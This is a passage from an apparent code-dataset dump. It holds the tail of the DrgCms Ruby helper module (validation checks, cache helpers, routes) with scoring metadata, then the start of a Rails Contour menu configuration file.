checked\n# @param [Boolean] If true method should end in runtime error. Default = false.\n#\n# @return [String] Error messages or empty string if everything is OK.\n#\n# @Example Check for error when data is saved.\n# model.save\n# if (msg = DrgCms.model_check(model) ).size > 0\n# p msg\n# error process ......\n# end\n#\n####################################################################\ndef self.model_check(document, crash = false)\n return nil unless document.errors.any?\n\n msg = document.errors.inject('') { |r, error| r << \"#{error.attribute}: #{error.message}\\n\" }\n if crash && msg.size > 0\n msg = \"Validation errors in #{document.class}:\\n\" + msg\n pp msg\n Rails.logger.error(msg)\n raise \"Validation error. See log for more information.\"\n end\n msg\nend\n\n########################################################################\n# Determines if redis cache store is active\n#\n# @return [Boolean] : True if redis cache store is active\n########################################################################\ndef self.redis_cache_store?\n (Rails.application.config.cache_store.first == :redis_cache_store) rescue false\nend\n\n####################################################################\n# Clear cache. If key is specified only this key will be deleted.\n#\n# @param [String] Optional key to be deleted\n####################################################################\ndef self.cache_clear(key = nil)\n return unless Rails.cache\n return Rails.cache.clear if key.nil?\n\n if redis_cache_store?\n Rails.cache.redis.del(key)\n else\n Rails.cache.delete_matched(\"#{key}*\")\n end\nend\n\n####################################################################\n# Read from cache\n#\n# @keys [Array] Array of keys\n#\n# @return [Object] Data returned from cache\n####################################################################\ndef self.cache_read(keys)\n data = if redis_cache_store?\n tmp_keys = keys.dup\n first_key = tmp_keys.shift\n cached = Rails.cache.redis.hget(first_key, tmp_keys.join(''))\n cached ? Marshal.load(cached) : nil\n else\n Rails.cache.read(keys.join(''))\n end\n return data if data\n return nil unless block_given?\n\n self.cache_write(keys, yield)\nend\n\n####################################################################\n# Write data to cache\n#\n# @param [Array] keys : array of keys\n# @param [Object] data : Document object\n#\n# @return [Object] data so dc_cache_write can be used as last statement in method.\n####################################################################\ndef self.cache_write(keys, data)\n if redis_cache_store?\n tmp_keys = keys.dup\n first_key = tmp_keys.shift\n Rails.cache.redis.hset(first_key, tmp_keys.join(''), Marshal.dump(data))\n else\n Rails.cache.write(keys.join(''), data)\n end\n data\nend\n\n####################################################################\n# Reads data from mongoid cache. Mongoid has it's own cache, which can be\n# used to cache results on single request.\n#\n# @param [model] class: Model name\n# @param [id] String || BSON::ObjectId : Id\n#\n# @return [Object] data document.\n####################################################################\ndef self.cached(model, id)\n id ? Mongo::QueryCache.cache { model.find(id) } : nil\nend\n\n###############################################################################\n# All Routes required by DrgCms. \n# \n# Usage:\n# put DrgCms.routes line anywhere into your application routes file\n###############################################################################\ndef self.routes\n Rails.application.routes.draw do\n controller :dc_common do\n post 'dc_common/autocomplete' => :autocomplete\n post 'dc_common/ad_click' => :ad_click\n get 'dc_common/toggle_edit_mode' => :toggle_edit_mode\n match 'dc_common/process_login' => :process_login, via: [:put, :post]\n get 'dc_common/login' => :login\n get 'dc_common/logout' => :logout\n get 'dc_common/copy_clipboard' => :copy_clipboard\n match 'dc_common/paste_clipboard' => :paste_clipboard, via: [:get, :post]\n put 'dc_common/restore_from_journal' => :restore_from_journal\n get 'dc_common/add_json_ld_schema' => :add_json_ld_schema\n get 'dc_common/help' => :help\n end\n match 'elfinder' => 'dc_elfinder#connector', via: [:get, :post]\n get 'cms/login' => 'cmsedit#login'\n get 'cms/logout' => 'cmsedit#logout'\n match 'cmsedit/run' => 'cmsedit#run', via: [:get, :put, :post]\n resources :cmsedit\n end\nend\n\nend\n", "text_preview": "require 'drg_cms/engine' require 'drg_cms/version' ################################################################################ # DRG CMS plugin module. ################################################################################ mo", "input_sha256": "5de4399ea05d567c9f2c8830d0abe992870d0bdf83fd824d0f88cad80ac9f1b2", "text_sha256": "6214724400869034d071ce171db2d7be567b7d5346c00ba26101ae5a8d76c194", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16099, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.9599370154118592, "noise_severity": 0.2574594332469676, "missing_content_severity": 0.05302643249138532, "factual_density": 3.4173097139950523, "pretraining_utility": 0.4368870809327545, "math_density": 0.006222950578647441, "code_density": 3.51114673991027, "reasoning_density": 0.4536170961134577, "education_level": 2.587284969888828, "creative_writing_quality": -0.1783801459536933}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.0128860505669533, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9970334724296764, "secondary": 0.9203186298327259, "tertiary": 0.9178307580079014, "structured_records": 0.1533115858937062, "procedural_steps": 0.09684500547155822, "worked_solution": 0.003766759147847582, "contextual_dialogue": 5.367221764143082e-06, "content_quality": 0.5804675384335495, "noise_severity": 0.7854504722941937, "missing_content_severity": 0.9558113062571789, "factual_density": 0.5144247616625431, "pretraining_utility": 0.4527783442504473, "math_density": 0.9948142078511272, "code_density": 0.5926222832585584, "reasoning_density": 0.6219857532387851, "education_level": 0.36678811458501415, "creative_writing_quality": 0.9982936471048528, "primary_topic": 0.9942036032159753, "secondary_topic": 0.9638418063028826}, "probability_margin": {"primary": 0.9959416638179638, "secondary": 0.8816645610440426, "tertiary": 0.8663942999782991, "education_level": 0.015427294391351931, "creative_writing_quality": 0.9978247319210233, "primary_topic": 0.990414894144555, "secondary_topic": 0.945867496694109}, "raw_probabilities": {"primary": {"Academic Writing": 2.7253839484136585e-05, "Content Listing": 3.1509896748274994e-05, "Creative Writing": 1.054838532727566e-05, "Customer Support Page": 4.133094659381304e-05, "Q&A Forum": 1.1396162604295226e-05, "Discussion Thread": 6.481792735408562e-06, "Comment Section": 1.695974384464252e-05, "Missing Content": 2.2415724526990288e-05, "Knowledge Article": 0.0001327142615242727, "Legal Notices": 2.5422408788728286e-05, "News Article": 3.9763780368048356e-06, "Organizational Announcement": 1.1656094488773859e-05, "Nonfiction Writing": 9.31658640859375e-06, "Organizational About Page": 1.3026088675523845e-05, "Personal About Page": 1.1272043603599921e-05, "Personal Blog": 9.837625622684296e-06, "Product Page": 7.946215391244035e-06, "Spam / Ads": 9.514738155560667e-06, "Structured Data": 0.0004335213003116581, "Technical Writing": 0.9971570777451065, "Transcript / Interview": 1.4022098767721099e-05, "Tutorial / How-To Guide": 0.000771253750620446, "User Reviews": 6.132245490045715e-06, "Other / Unknown": 0.0012154139271427708}, "secondary": {"Academic Writing": 0.00036663834186313814, "Content Listing": 0.0006033952891617564, "Creative Writing": 0.0002601612408527341, "Customer Support Page": 0.0006572388425428049, "Q&A Forum": 0.00017802266601898973, "Discussion Thread": 0.00010314019844468503, "Comment Section": 0.0006285547641255943, "Missing Content": 0.0003861611798967827, "Knowledge Article": 0.0011968575391219634, "Legal Notices": 0.00022486431834047667, "News Article": 0.0001773999171931791, "Organizational Announcement": 0.00023460041907140297, "Nonfiction Writing": 0.0003037899822637711, "Organizational About Page": 0.00023011527998975927, "Personal About Page": 0.00018332537703832642, "Personal Blog": 0.0005822846744717365, "Product Page": 0.0001335550792713037, "Spam / Ads": 0.00022246733360744566, "Structured Data": 0.003401154315272036, "Technical Writing": 0.02399255127261987, "Transcript / Interview": 0.00021564319485780937, "Tutorial / How-To Guide": 0.04197412587898642, "User Reviews": 0.00010526597195910077, "NONE": 0.923638686923029}, "tertiary": {"Academic Writing": 0.0002813453152512931, "Content Listing": 0.0010117768468413141, "Creative Writing": 0.00022967717951726275, "Customer Support Page": 0.0004881119406176539, "Q&A Forum": 0.0001189914856634608, "Discussion Thread": 8.82823286940229e-05, "Comment Section": 0.0011213076334449822, "Missing Content": 0.0003375361448330061, "Knowledge Article": 0.0011903337063494863, "Legal Notices": 0.0002964943630018296, "News Article": 0.00012779230523422318, "Organizational Announcement": 0.0002138106922405088, "Nonfiction Writing": 0.0006297819799754805, "Organizational About Page": 0.00023879971760318376, "Personal About Page": 0.0001574644146480997, "Personal Blog": 0.000978468306352331, "Product Page": 0.00012062788362402311, "Spam / Ads": 0.00020325636575320818, "Structured Data": 0.003486092428529618, "Technical Writing": 0.012323444145921611, "Transcript / Interview": 0.00016764165860625572, "Tutorial / How-To Guide": 0.05486017644593972, "User Reviews": 7.431028711866796e-05, "NONE": 0.9212544764242389}, "structured_records": {"false": 0.8466884141062938, "true": 0.1533115858937062}, "procedural_steps": {"false": 0.9031549945284418, "true": 0.09684500547155822}, "worked_solution": {"false": 0.9962332408521524, "true": 0.003766759147847582}, "contextual_dialogue": {"false": 0.9999946327782359, "true": 5.367221764143082e-06}, "content_quality": {"-2": 0.004586617078407258, "-1": 0.023046788447171635, "0": 0.21189754110437573, "1": 0.5287810687242455, "2": 0.23168798464579984}, "noise_severity": {"0": 0.7899934411677441, "1": 0.1731511970481832, "2": 0.02880286840457798, "3": 0.005507474128350077, "4": 0.0025450192511445352}, "missing_content_severity": {"0": 0.9560640018987694, "1": 0.03730721799160751, "2": 0.004790704663145044, "3": 0.0012144966124249172, "4": 0.0006235788340532436}, "factual_density": {"0": 0.002239689839188588, "1": 0.004940127613727533, "2": 0.08145157839026776, "3": 0.39600798702647577, "4": 0.5153606171303404}, "pretraining_utility": {"-2": 0.007330221644331383, "-1": 0.08722716445004634, "0": 0.41344445915026745, "1": 0.44522162083924577, "2": 0.046776533916108885}, "math_density": {"0": 0.9952228410466736, "1": 0.004014997627751893, "2": 0.0003385769709332167, "3": 0.00016353840953730892, "4": 0.0002600459451042972}, "code_density": {"0": 0.0005165509849669967, "1": 0.0013122777212039147, "2": 0.054273173702556264, "3": 0.3743038755811377, "4": 0.5695941220101352}, "reasoning_density": {"0": 0.6725803674700194, "1": 0.21902936171915835, "2": 0.09431644030470092, "3": 0.010340468239588509, "4": 0.003733362266533024}, "education_level": {"none": 0.0012607872689419691, "0": 0.0015971249944095555, "1": 0.006143233109698388, "2": 0.45689613442949323, "3": 0.47232342882084516, "4": 0.06177929137661171}, "creative_writing_quality": {"not_applicable": 0.998578039254044, "-2": 9.212262754955217e-05, "-1": 0.00035025196170715433, "0": 0.0007533073330206832, "1": 0.00017170999595546524, "2": 5.456882772335138e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.683912557855351e-05, "Art & Design": 6.226125476116403e-05, "Law & Crime": 3.7887342942251215e-05, "Education & Careers": 8.661006327073106e-05, "Entertainment & Media": 4.970202526428239e-05, "Fashion & Beauty": 2.190679813456893e-05, "Business, Economics & Finance": 9.851067388335006e-05, "Food & Dining": 2.5732709484829878e-05, "Games & Gaming": 0.00015738170612385408, "Electronics & Hardware": 0.00010045779021732677, "Health, Healthcare & Wellness": 3.0631467587175744e-05, "History & Geography": 2.8341852976891673e-05, "Home, Pets & Hobbies": 2.8265208245314237e-05, "Industry & Production": 3.469762215782919e-05, "Language, Literature & Philosophy": 5.15230972902521e-05, "Politics & Government": 2.144269775325161e-05, "Religion & Spirituality": 3.0480244127634303e-05, "Science, Mathematics & Engineering": 0.00013133077893059483, "Relationships & Community": 2.2923417847005793e-05, "Software Usage & Applications": 0.004011647409267503, "Programming & Software Engineering": 0.9944265415538225, "Sports & Fitness": 4.9348855906365973e-05, "Vehicles & Transportation": 2.1194631090546508e-05, "Travel & Tourism": 4.574948083860046e-05, "Other / Uncovered Subject": 0.0002858434806048425, "Unknown / Insufficient Content": 0.00010274871189282578}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0003104606739133437, "Art & Design": 0.00025187097150247245, "Law & Crime": 0.0002701231617314933, "Education & Careers": 0.00026497430574897417, "Entertainment & Media": 0.00022146284420539866, "Fashion & Beauty": 9.847369860832496e-05, "Business, Economics & Finance": 0.0003180075263000928, "Food & Dining": 8.582199957556963e-05, "Games & Gaming": 0.0002181983888490714, "Electronics & Hardware": 0.0002827555804571744, "Health, Healthcare & Wellness": 0.00011752636605969867, "History & Geography": 0.00010703903248220721, "Home, Pets & Hobbies": 9.30110482387461e-05, "Industry & Production": 8.348253267150034e-05, "Language, Literature & Philosophy": 0.00010902202006138929, "Politics & Government": 0.00010652573105353181, "Religion & Spirituality": 0.00012223308607281296, "Science, Mathematics & Engineering": 0.0005108266033462668, "Relationships & Community": 7.533794435571891e-05, "Software Usage & Applications": 0.0193650093663551, "Programming & Software Engineering": 0.011069589969562275, "Sports & Fitness": 9.830438043015179e-05, "Vehicles & Transportation": 5.255838546014422e-05, "Travel & Tourism": 0.00016268969283311365, "Other / Uncovered Subject": 0.00037218862966139764, "NONE": 0.9652325060604641}}, "probabilities": {"primary": {"Academic Writing": 2.7253839484136592e-05, "Content Listing": 3.1509896748275e-05, "Creative Writing": 1.0548385327275661e-05, "Customer Support Page": 4.1330946593813044e-05, "Q&A Forum": 1.1396162604295228e-05, "Discussion Thread": 6.481792735408564e-06, "Comment Section": 1.6959743844642523e-05, "Missing Content": 2.241572452699029e-05, "Knowledge Article": 0.00013271426152427273, "Legal Notices": 2.5422408788728292e-05, "News Article": 3.976378036804836e-06, "Organizational Announcement": 1.1656094488773862e-05, "Nonfiction Writing": 9.316586408593752e-06, "Organizational About Page": 1.3026088675523849e-05, "Personal About Page": 1.1272043603599923e-05, "Personal Blog": 9.837625622684298e-06, "Product Page": 7.946215391244037e-06, "Spam / Ads": 9.514738155560668e-06, "Structured Data": 0.0004335213003116582, "Technical Writing": 0.9971570777451068, "Transcript / Interview": 1.4022098767721102e-05, "Tutorial / How-To Guide": 0.0007712537506204462, "User Reviews": 6.132245490045717e-06, "Other / Unknown": 0.001215413927142771}, "secondary": {"Academic Writing": 0.00036663834186313814, "Content Listing": 0.0006033952891617564, "Creative Writing": 0.0002601612408527341, "Customer Support Page": 0.0006572388425428049, "Q&A Forum": 0.00017802266601898973, "Discussion Thread": 0.00010314019844468503, "Comment Section": 0.0006285547641255943, "Missing Content": 0.0003861611798967827, "Knowledge Article": 0.0011968575391219634, "Legal Notices": 0.00022486431834047667, "News Article": 0.0001773999171931791, "Organizational Announcement": 0.00023460041907140297, "Nonfiction Writing": 0.0003037899822637711, "Organizational About Page": 0.00023011527998975927, "Personal About Page": 0.00018332537703832642, "Personal Blog": 0.0005822846744717365, "Product Page": 0.0001335550792713037, "Spam / Ads": 0.00022246733360744566, "Structured Data": 0.003401154315272036, "Technical Writing": 0.02399255127261987, "Transcript / Interview": 0.00021564319485780937, "Tutorial / How-To Guide": 0.04197412587898642, "User Reviews": 0.00010526597195910077, "NONE": 0.923638686923029}, "tertiary": {"Academic Writing": 0.0002813453152512931, "Content Listing": 0.0010117768468413141, "Creative Writing": 0.00022967717951726275, "Customer Support Page": 0.0004881119406176539, "Q&A Forum": 0.0001189914856634608, "Discussion Thread": 8.82823286940229e-05, "Comment Section": 0.0011213076334449822, "Missing Content": 0.0003375361448330061, "Knowledge Article": 0.0011903337063494863, "Legal Notices": 0.0002964943630018296, "News Article": 0.00012779230523422318, "Organizational Announcement": 0.0002138106922405088, "Nonfiction Writing": 0.0006297819799754805, "Organizational About Page": 0.00023879971760318376, "Personal About Page": 0.0001574644146480997, "Personal Blog": 0.000978468306352331, "Product Page": 0.00012062788362402311, "Spam / Ads": 0.00020325636575320818, "Structured Data": 0.003486092428529618, "Technical Writing": 0.012323444145921611, "Transcript / Interview": 0.00016764165860625572, "Tutorial / How-To Guide": 0.05486017644593972, "User Reviews": 7.431028711866796e-05, "NONE": 0.9212544764242389}, "structured_records": {"false": 0.8466884141062938, "true": 0.1533115858937062}, "procedural_steps": {"false": 0.9031549945284418, "true": 0.09684500547155822}, "worked_solution": {"false": 0.9962332408521524, "true": 0.003766759147847582}, "contextual_dialogue": {"false": 0.9999946327782359, "true": 5.367221764143082e-06}, "content_quality": {"-2": 0.004586617078407259, "-1": 0.02304678844717164, "0": 0.21189754110437575, "1": 0.5287810687242456, "2": 0.23168798464579987}, "noise_severity": {"0": 0.7899934411677442, "1": 0.17315119704818321, "2": 0.028802868404577985, "3": 0.005507474128350078, "4": 0.0025450192511445357}, "missing_content_severity": {"0": 0.9560640018987694, "1": 0.03730721799160751, "2": 0.004790704663145044, "3": 0.0012144966124249172, "4": 0.0006235788340532436}, "factual_density": {"0": 0.002239689839188588, "1": 0.004940127613727533, "2": 0.08145157839026776, "3": 0.39600798702647577, "4": 0.5153606171303404}, "pretraining_utility": {"-2": 0.007330221644331385, "-1": 0.08722716445004636, "0": 0.41344445915026756, "1": 0.4452216208392459, "2": 0.04677653391610889}, "math_density": {"0": 0.9952228410466734, "1": 0.004014997627751892, "2": 0.00033857697093321663, "3": 0.0001635384095373089, "4": 0.00026004594510429716}, "code_density": {"0": 0.0005165509849669967, "1": 0.0013122777212039147, "2": 0.054273173702556264, "3": 0.3743038755811377, "4": 0.5695941220101352}, "reasoning_density": {"0": 0.6725803674700193, "1": 0.2190293617191583, "2": 0.09431644030470089, "3": 0.010340468239588507, "4": 0.003733362266533023}, "education_level": {"none": 0.0012607872689419691, "0": 0.0015971249944095555, "1": 0.006143233109698388, "2": 0.45689613442949323, "3": 0.47232342882084516, "4": 0.06177929137661171}, "creative_writing_quality": {"not_applicable": 0.9985780392540438, "-2": 9.212262754955214e-05, "-1": 0.0003502519617071543, "0": 0.000753307333020683, "1": 0.0001717099959554652, "2": 5.4568827723351364e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.683912557855351e-05, "Art & Design": 6.226125476116403e-05, "Law & Crime": 3.7887342942251215e-05, "Education & Careers": 8.661006327073106e-05, "Entertainment & Media": 4.970202526428239e-05, "Fashion & Beauty": 2.190679813456893e-05, "Business, Economics & Finance": 9.851067388335006e-05, "Food & Dining": 2.5732709484829878e-05, "Games & Gaming": 0.00015738170612385408, "Electronics & Hardware": 0.00010045779021732677, "Health, Healthcare & Wellness": 3.0631467587175744e-05, "History & Geography": 2.8341852976891673e-05, "Home, Pets & Hobbies": 2.8265208245314237e-05, "Industry & Production": 3.469762215782919e-05, "Language, Literature & Philosophy": 5.15230972902521e-05, "Politics & Government": 2.144269775325161e-05, "Religion & Spirituality": 3.0480244127634303e-05, "Science, Mathematics & Engineering": 0.00013133077893059483, "Relationships & Community": 2.2923417847005793e-05, "Software Usage & Applications": 0.004011647409267503, "Programming & Software Engineering": 0.9944265415538225, "Sports & Fitness": 4.9348855906365973e-05, "Vehicles & Transportation": 2.1194631090546508e-05, "Travel & Tourism": 4.574948083860046e-05, "Other / Uncovered Subject": 0.0002858434806048425, "Unknown / Insufficient Content": 0.00010274871189282578}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0003104606739133437, "Art & Design": 0.00025187097150247245, "Law & Crime": 0.0002701231617314933, "Education & Careers": 0.00026497430574897417, "Entertainment & Media": 0.00022146284420539866, "Fashion & Beauty": 9.847369860832496e-05, "Business, Economics & Finance": 0.0003180075263000928, "Food & Dining": 8.582199957556963e-05, "Games & Gaming": 0.0002181983888490714, "Electronics & Hardware": 0.0002827555804571744, "Health, Healthcare & Wellness": 0.00011752636605969867, "History & Geography": 0.00010703903248220721, "Home, Pets & Hobbies": 9.30110482387461e-05, "Industry & Production": 8.348253267150034e-05, "Language, Literature & Philosophy": 0.00010902202006138929, "Politics & Government": 0.00010652573105353181, "Religion & Spirituality": 0.00012223308607281296, "Science, Mathematics & Engineering": 0.0005108266033462668, "Relationships & Community": 7.533794435571891e-05, "Software Usage & Applications": 0.0193650093663551, "Programming & Software Engineering": 0.011069589969562275, "Sports & Fitness": 9.830438043015179e-05, "Vehicles & Transportation": 5.255838546014422e-05, "Travel & Tourism": 0.00016268969283311365, "Other / Uncovered Subject": 0.00037218862966139764, "NONE": 0.9652325060604641}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10526, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10526, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:36:07.401928+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "f9a60d51-5c12-4693-83f3-a1e1e75f8265", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "996f338d806a87801f254ef475346fc230d384892c225e2e1389fc71542555ee", "source_metadata": {"uuid": "f9a60d51-5c12-4693-83f3-a1e1e75f8265", "repo_name": "drgcms/drg-cms", "relative_path": "lib/drg_cms.rb", "category": "TOOL", "algo_rel_score": 0.9848686456680298, "quality_score": 3.753819227218628, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 1182, "repo_created_at": "2015-05-10T18:21:31.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 6, "forks": 1, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "05063ee590d98785398b458aaf360f148ec9ecc0", "size_bytes": 9222, "file_timestamp": 1711115612, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "c29214859b861b640468c6b4d312c78ddbab699b"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 1182, "repo_created_at": "2015-05-10T18:21:31.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 6, "forks": 1, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "05063ee590d98785398b458aaf360f148ec9ecc0", "size_bytes": 9222, "file_timestamp": 1711115612, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "c29214859b861b640468c6b4d312c78ddbab699b", "url": "https://github.com/drgcms/drg-cms/blob/c29214859b861b640468c6b4d312c78ddbab699b/lib/drg_cms.rb"}, "gpt4o_tokens": 1912, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.9599370154118592, "noise_severity": 0.2574594332469676, "missing_content_severity": 0.05302643249138532, "factual_density": 3.4173097139950523, "pretraining_utility": 0.4368870809327545, "math_density": 0.006222950578647441, "code_density": 3.51114673991027, "reasoning_density": 0.4536170961134577, "education_level": 2.587284969888828, "creative_writing_quality": -0.1783801459536933}, "score_applicability": {"education_level": 0.998739212731058, "creative_writing_quality": 0.001421960745956206}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/bwhsleepamu/rely/blob/b4c0fc9b25d522106754c5e6a0984aa991496bb8/config/initializers/contour.rb", "id": "ruby-0-8261e14655cfa240353fa32202b58b27", "text": "# Use to configure basic appearance of template\nContour.setup do |config|\n\n # Enter your application name here. The name will be displayed in the title of all pages, ex: AppName - PageTitle\n config.application_name = 'Rely'\n\n # If you want to style your name using html you can do so here, ex: AppName\n # config.application_name_html = ''\n\n #Enter your application version here. Do not include a trailing backslash. Recommend using a predefined constant\n config.application_version = Rely::VERSION::STRING\n\n # Enter your application header background image here.\n # config.header_background_image = 'rails.png'\n\n # Enter your application header title image here.\n # config.header_title_image = ''\n\n # Enter the items you wish to see in the menu\n config.menu_items =\n [\n {\n name: 'Login', display: 'not_signed_in', path: 'new_user_session_path', position: 'right', condition: 'true',\n links: [{ name: 'Sign Up', path: 'new_user_registration_path' },\n { divider: true },\n { authentications: true }]\n },\n {\n name: 'image_tag(current_user.avatar_url(18, \"blank\"))+\" \"+current_user.name', eval: true, display: 'signed_in', path: 'settings_path', position: 'right',\n links: [{ html: '\"
\"+current_user.email+\"
\"', eval: true, path: 'settings_path' },\n { name: 'Authentications', path: 'authentications_path', condition: 'not PROVIDERS.blank?' },\n { divider: true },\n { name: 'Logout', path: 'destroy_user_session_path' }]\n },\n {\n name: 'Exercises', display: 'signed_in', path: 'exercises_path', position: 'left', condition: 'true', image: '', image_options: {},\n links: [\n { name: 'Create', path: 'new_exercise_path', condition: 'current_user.system_admin?'}\n ]\n },\n {\n name: 'Scoring Rules', display: 'signed_in', path: 'rules_path', position: 'left', condition: 'true', image: '', image_options: {},\n links: [\n { name: 'Create', path: 'new_rule_path'}\n ]\n },\n {\n name: 'Projects', display: 'signed_in', path: 'projects_path', position: 'left', condition: 'true', image: '', image_options: {},\n links: [\n { name: 'Create', path: 'new_project_path'}\n ]\n },\n {\n name: 'Groups', display: 'signed_in', path: 'groups_path', position: 'left', condition: 'true', image: '', image_options: {},\n links: [\n { name: 'Create', path: 'new_group_path'}\n ]\n },\n {\n name: 'Studies', display: 'signed_in', path: 'studies_path', position: 'left', condition: 'true', image: '', image_options: {},\n links: [\n { name: 'Create', path: 'new_study_path'}\n ]\n },\n {\n name: 'Study Types', display: 'signed_in', path: 'study_types_path', position: 'left', condition: 'true', image: '', image_options: {},\n links: [\n { name: 'Create', path: 'new_study_type_path'}\n ]\n },\n {\n name: 'Users', display: 'signed_in', path: 'users_path', position: 'left', condition: 'current_user.system_admin?'\n },\n {\n name: 'About', display: 'always', path: 'about_path', position: 'left',\n links: []\n }\n ]\n\n # Enter an address of a valid RSS Feed if you would like to see news on the sign in page.\n # config.news_feed = ''\n\n # Enter the max number of items you want to see in the news feed.\n # config.news_feed_items = 5\n\n # The following three parameters can be set as strings, which will rotate through the colors on a daily basis, selecting an index using (YearDay % ArraySize)\n\n # A string or array of strings that represent a CSS color code for generic link color\n # config.link_color = nil\n\n # A string or array of strings that represent a CSS color code for the body background color\n # config.body_background_color = nil\n\n # A string or array of strings that represent an image url for the body background image\n # config.body_background_image = nil\n\n # A hash where the key is a string in \"month-day\" format where values are a hash of the link_color, body_background_color and/or body_background_image\n # An example might be (April 1st), { \"4-1\" => { body_background_image: 'aprilfools.jpg' } }\n # Note the lack of leading zeros!\n # Special days take precendence over the rotating options given above\n # config.month_day = {}\n\n # An array of hashes that specify additional fields to add to the sign up form\n # An example might be [ { attribute: 'first_name', type: 'text_field' }, { attribute: 'last_name', type: 'text_field' } ]\n config.sign_up_fields = [ { attribute: 'first_name', type: 'text_field' }, { attribute: 'last_name', type: 'text_field' } ]\n\n # An array of text fields used to trick spam bots using the honeypot approach. These text fields will not be displayed to the user.\n # An example might be [ :url, :address, :contact, :comment ]\n config.spam_fields = [ :url, :address, :contact, :comment ]\nend\n", "text_preview": "# Use to configure basic appearance of template Contour.setup do |config| # Enter your application name here. The name will be displayed in the title of all pages, ex: AppName - PageTitle config.application_name = 'Rely' # If you want to st", "input_sha256": 